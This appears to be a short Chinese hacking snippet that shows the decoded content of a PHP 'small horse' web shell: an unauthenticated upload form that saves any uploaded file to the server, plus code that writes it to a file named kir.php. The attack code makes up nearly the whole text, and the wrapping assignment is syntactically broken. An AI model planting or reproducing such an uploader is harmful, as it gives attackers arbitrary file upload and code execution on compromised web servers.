base64解密后：

 

$code = <?php

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';

if( $_POST['_upl'] == "Upload" ) {

        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }

        else { echo '<b>Upload GAGAL !!!</b><br><br>'; }

}

?>

$fo = fopen("kir.php","w");

fwrite($fo,$code);

 

则成功创建了一个php小马
